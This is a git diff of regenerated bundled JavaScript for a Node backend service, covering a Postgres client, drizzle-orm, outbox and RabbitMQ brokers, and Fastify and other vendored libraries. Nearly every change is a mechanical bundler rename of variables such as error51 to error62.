socket.removeListener("data", data); @@ -70954,7 +76152,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -71268,9 +76466,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -71303,9 +76501,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71334,9 +76532,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71418,15 +76616,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -71538,10 +76736,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -71766,7 +76964,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -71879,7 +77077,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -71907,8 +77105,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -71952,7 +77150,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -71966,8 +77164,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -72012,7 +77210,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -72813,8 +78011,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -73538,16 +78736,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -75262,19 +80460,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -75809,13 +81007,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -79825,8 +85023,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -79891,13 +85089,13 @@ function inList(values2) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -80198,12 +85396,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -80216,14 +85414,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -80256,17 +85454,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -80304,9 +85502,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -80358,9 +85556,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -80432,9 +85630,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent(JSON.parse(message2.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message2, false, false); @@ -80444,8 +85642,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message2); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -80672,8 +85870,8 @@ async function findByUserAndIdempotencyKey(db2, userId, idempotencyKey) { const [row] = await db2.select().from(schema_exports.messages).where(and(eq(schema_exports.messages.userId, userId), eq(schema_exports.messages.idempotencyKey, idempotencyKey))).limit(1); return row ?? null; } -async function insertMessage(db2, input) { - const [row] = await db2.insert(schema_exports.messages).values({ ...input, status: "draft" }).returning(); +async function insertMessage(db2, input2) { + const [row] = await db2.insert(schema_exports.messages).values({ ...input2, status: "draft" }).returning(); if (!row) throw new Error("insertMessage: insert returned no row"); return row; } @@ -80948,35 +86146,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("outreach-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/profile/index.js b/api/profile/index.js index 292b090..1af3449 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb2) { - cb2(error51); + cb2(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb2?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb2) { - cb2(error51); + cb2(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb2?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has3 = Object.prototype.hasOwnProperty; var undef; - function decode4(input) { + function decode4(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode4(input) { + function encode4(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_3, cb2) => cb2(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -15987,8 +15987,8 @@ var require_stream_consumer = __commonJS({ stream.on("end", () => { resolve2(); }); - stream.on("error", (error51) => { - reject2(error51); + stream.on("error", (error62) => { + reject2(error62); }); }); }; @@ -16143,7 +16143,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -16185,25 +16185,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -16216,7 +16216,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -16225,7 +16225,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -16277,10 +16277,10 @@ var require_multipart2 = __commonJS({ function busboy(options) { try { return new Busboy(options); - } catch (error51) { + } catch (error62) { const errorEmitter = new PassThrough(); process.nextTick(function() { - errorEmitter.emit("error", error51); + errorEmitter.emit("error", error62); }); return errorEmitter; } @@ -16678,8 +16678,8 @@ var require_multipart2 = __commonJS({ const filepath = this.tmpUploads[i]; try { await unlink(filepath); - } catch (error51) { - this.log.error(error51, "Could not delete file"); + } catch (error62) { + this.log.error(error62, "Could not delete file"); } } } @@ -17043,8 +17043,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -17131,12 +17131,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -17852,21 +17852,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result2; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result2 = constants6.RE_URL_WITH_PORT.exec(stripped); if (result2 === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result2[1]; port = result2[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result2 = constants6.RE_URL.exec(stripped); if (result2 === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result2[1]) !== null && _a3 !== void 0 ? _a3 : result2[2]; } @@ -17882,7 +17882,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -17929,11 +17929,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -17947,7 +17947,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -18918,29 +18918,29 @@ var require_ipv6 = __commonJS({ } assert3(typeof this.elidedGroups === "number"); assert3(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert3(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -18951,36 +18951,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert3(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -19651,7 +19651,7 @@ var require_queue = __commonJS({ empty: noop4, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -19794,7 +19794,7 @@ var require_queue = __commonJS({ } self2.drain = noop4; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -19977,23 +19977,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -20068,11 +20068,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -20095,12 +20095,12 @@ var require_time_tree = __commonJS({ result2 += `${obj2.label} ${obj2.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj2.nodes[i]; + const node2 = obj2.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result2 += prefix; result2 += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result2 += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result2 += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result2 += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result2 += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result2; } @@ -20426,14 +20426,14 @@ var require_execute_with_thenable = __commonJS({ let result2; try { result2 = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result2) && !result2[kAvvio]) { - result2.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result2.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -21862,8 +21862,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -21873,8 +21873,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -21913,8 +21913,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -21929,8 +21929,8 @@ var require_hooks = __commonJS({ let result2; try { result2 = iterator(functions2[i++], request, reply, next); - } catch (error51) { - cb2(error51, request, reply); + } catch (error62) { + cb2(error62, request, reply); return; } if (result2 && typeof result2.then === "function") { @@ -21974,8 +21974,8 @@ var require_hooks = __commonJS({ let result2; try { result2 = functions2[i++](request, reply, payload, next); - } catch (error51) { - cb2(error51, request, reply); + } catch (error62) { + cb2(error62, request, reply); return; } if (result2 && typeof result2.then === "function") { @@ -22014,8 +22014,8 @@ var require_hooks = __commonJS({ let result2; try { result2 = functions2[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb2(error51, request, reply); + } catch (error62) { + cb2(error62, request, reply); return; } if (result2 && typeof result2.then === "function") { @@ -22043,8 +22043,8 @@ var require_hooks = __commonJS({ let result2; try { 